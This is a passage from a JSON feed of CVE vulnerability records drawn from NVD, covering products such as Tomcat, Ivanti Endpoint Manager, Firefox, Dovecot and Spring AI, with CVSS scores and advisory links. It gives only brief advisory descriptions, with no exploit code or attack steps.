Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.\nOlder, unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T16:16:15.933Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apache","product":"tomcat","stacks":["Apache Tomcat","tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41284","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41284","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41284","type":"primary","publishedAt":"2026-05-12T16:16:15.933Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/2nvqjr7ovjmvx2vbhb7s61ycd5msc8qc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8111","cveId":"CVE-2026-8111","aliases":[],"kind":"vulnerability","title":"SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.","summary":"SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.","detail":"SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:18.923Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"ivanti","product":"endpoint manager","stacks":["Ivanti","endpoint manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8111","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8111","type":"primary","publishedAt":"2026-05-12T15:16:18.923Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8110","cveId":"CVE-2026-8110","aliases":[],"kind":"vulnerability","title":"Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.","summary":"Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.","detail":"Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:17.770Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"ivanti","product":"endpoint manager","stacks":["Ivanti","endpoint manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8110","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8110","type":"primary","publishedAt":"2026-05-12T15:16:17.770Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6866","cveId":"CVE-2026-6866","aliases":[],"kind":"vulnerability","title":"CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to...","summary":"CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to initial settings in rare circumstances, enabling unauthorized authentication using known credentials.","detail":"CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to initial settings in rare circumstances, enabling unauthorized authentication using known credentials.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:16.570Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"schneider-electric","product":"ecostruxure panel server pas400 firmware","stacks":["Schneider-electric","ecostruxure panel server pas400 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6866","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6866","type":"primary","publishedAt":"2026-05-12T15:16:16.570Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-132-04&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-132-04.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8390","cveId":"CVE-2026-8390","aliases":[],"kind":"vulnerability","title":"Use-after-free in the JavaScript: WebAssembly component.","summary":"Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.","detail":"Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:12.050Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8390","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8390","type":"primary","publishedAt":"2026-05-12T14:17:12.050Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-45/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8389","cveId":"CVE-2026-8389","aliases":[],"kind":"vulnerability","title":"JIT miscompilation in the JavaScript Engine: JIT component.","summary":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.","detail":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:11.930Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8389","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8389","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8389","type":"primary","publishedAt":"2026-05-12T14:17:11.930Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-45/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8388","cveId":"CVE-2026-8388","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the JavaScript Engine: JIT component.","summary":"Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.","detail":"Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:11.813Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8388","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8388","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8388","type":"primary","publishedAt":"2026-05-12T14:17:11.813Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-45/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35071","cveId":"CVE-2026-35071","aliases":[],"kind":"vulnerability","title":"Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability.","summary":"Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.","detail":"Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:02.240Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dell","product":"insightiq","stacks":["Dell","insightiq"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35071","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35071","type":"primary","publishedAt":"2026-05-12T14:17:02.240Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.dell.com/support/kbdoc/en-us/000463695/dsa-2026-208-security-update-for-dell-powerscale-insightiq-multiple-vulnerabilities","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-27851","cveId":"CVE-2026-27851","aliases":[],"kind":"vulnerability","title":"When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped.","summary":"When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. This can enable SQL / LDAP injection attacks when used in authentication. Avoid using safe filter until on fixed version. No publicly available exploits are known.","detail":"When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. This can enable SQL / LDAP injection attacks when used in authentication. Avoid using safe filter until on fixed version. No publicly available exploits are known.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:16:56.857Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dovecot","product":"dovecot","stacks":["Dovecot","dovecot"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-27851","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-27851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27851","type":"primary","publishedAt":"2026-05-12T14:16:56.857Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0002.json","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41713","cveId":"CVE-2026-41713","aliases":[],"kind":"vulnerability","title":"A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way.","summary":"A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.","detail":"A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:19.517Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"vmware","product":"spring ai","stacks":["VMware","spring ai"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41713","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41713","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41713","type":"primary","publishedAt":"2026-05-12T11:16:19.517Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://spring.io/security/cve-2026-41713","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41712","cveId":"CVE-2026-41712","aliases":[],"kind":"vulnerability","title":"Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.","summary":"Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.","detail":"Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T11:16:19.403Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"vmware","product":"spring ai","stacks":["VMware","spring ai"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41712","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41712","type":"primary","publishedAt":"2026-05-12T11:16:19.403Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://spring.io/security/cve-2026-41712","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-22924","cveId":"CVE-2026-22924","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to...","summary":"A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions.\r\nThis could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.","detail":"A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions.\r\nThis could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T10:16:43.917Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"siemens","product":"simatic cn 4100 firmware","stacks":["Siemens","simatic cn 4100 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-22924","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-22924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22924","type":"primary","publishedAt":"2026-05-12T10:16:43.917Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cert-portal.siemens.com/productcert/html/ssa-032379.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-1185","cveId":"CVE-2026-1185","aliases":[],"kind":"vulnerability","title":"A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation.","summary":"A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation. This vulnerability can only be exploited if an attacker can log in to the Axis device using SSH.","detail":"A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation. This vulnerability can only be exploited if an attacker can log in to the Axis device using SSH.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T07:16:09.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"axis","product":"axis os","stacks":["Axis","axis os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-1185","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-1185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-1185","type":"primary","publishedAt":"2026-05-12T07:16:09.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.axis.com/dam/public/69/df/8d/cve-2026-1185pdf-en-US-530733.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that 